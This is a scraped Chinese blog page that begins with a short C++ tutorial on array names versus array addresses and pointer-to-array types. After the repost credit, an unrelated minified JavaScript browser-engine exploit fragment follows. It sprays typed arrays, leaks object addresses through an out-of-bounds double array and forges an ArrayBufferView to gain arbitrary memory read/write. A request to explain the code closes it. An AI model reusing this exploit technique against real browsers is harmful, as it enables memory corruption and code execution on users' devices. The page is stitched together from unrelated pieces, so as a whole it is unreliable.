The Address of an Array

The name of the array is interpreted ad the address of the first element of an array,whereas applying the address operator yields the address of the whole array.

#include<iostream>
using namespace std;

int main(void)
{
	short tell[10];    //tell a array of 20 bytes
	cout<<sizeof(tell)<<endl; // the result of output is 20
	cout<<tell<<endl;    //displays &tell[0]
	cout<<&tell<<endl;    //displays address of whole array
	return 0;  
}

Numberically,these two addresses are the same,but conceptually &tell[0],and hence tell,is the address of a 2-byte block of memory,whereas &tell is the address of a 20-byte block of memory.
So the expression tell+1 adds 2 to the address value,whereas &tell+1 adds 20 to the address value.
tell is type pointer-to-short,or short ,and &tell is type pointer-to-array of 20-shorts or short ()[20].

short (*pas)[20] = &tell;    //pas pointer to array of 20 shorts

If you omit the parentheses,precedence rules would first associate [20] with pas,making pas an array of 20 pointers-to-short,so the parentheses are necessary.Next,if you wish to describe the type of a variable,you can use the declaration of that variable ad a guide and remove the variable name.Thus,the type of pas is short (*)[20].Also note that because pas is that set to &tell,*pas is equivalent to tell,so (*pas)[0] would be the first element of the tell array.

转载于:https://my.oschina.net/u/1771419/blog/1627907

var slave = new Uint32Array(0x1000); slave[0] = 0x13371337; // First, leak the address of an array we'll use later for leaking arbitrary JSValues //debug("[*] Leaking address of array for leak primitive..."); var leakTgt = {a: 0, b: 0, c: 0, d: 0}; leakTgt.a = slave; primitiveSpray[leakAndFakePrimIdx][1] = leakTgt; var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var leakTargetAddrInt64 = d2u(leakTargetAddr); // Second, leak the address of an array we'll use for faking an ArrayBufferView via inline properties //debug("[*] Leaking address of fake ArrayBufferView for R/W primitive..."); // Spray arrays for structure id for (var i = 0; i < 0x100; i++) { var a = new Uint32Array(1); a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337; structs.push(a); } var rwTgt = {a: 0, b: 0, c: 0, d: 0}; rwTgt.a = u2d(0x00000200, 0x1602300); rwTgt.b = 0; rwTgt.c = slave; rwTgt.d = 0x1337; primitiveSpray[leakAndFakePrimIdx][1] = rwTgt; var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var rwTargetAddrInt64 = d2u(rwTargetAddr); //debug("| [+] R/W Target Address: 0x" + rwTargetAddrInt64.toString(16)); // Address + 0x10 = inline storage, so it will be the address of our fake ArrayBufferView rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10); // Write this fake object address into oobDoubleArr[leakAndFakeDoubleIdx+2] to retrieve the handle via primitiveSpray oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi); var master = primitiveSpray[leakAndFakePrimIdx][1]; var addrOfSlave = new int64(master[4], master[5]); //debug("[*] Setting up primitive functions...");请解释以上代码?
07-15
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值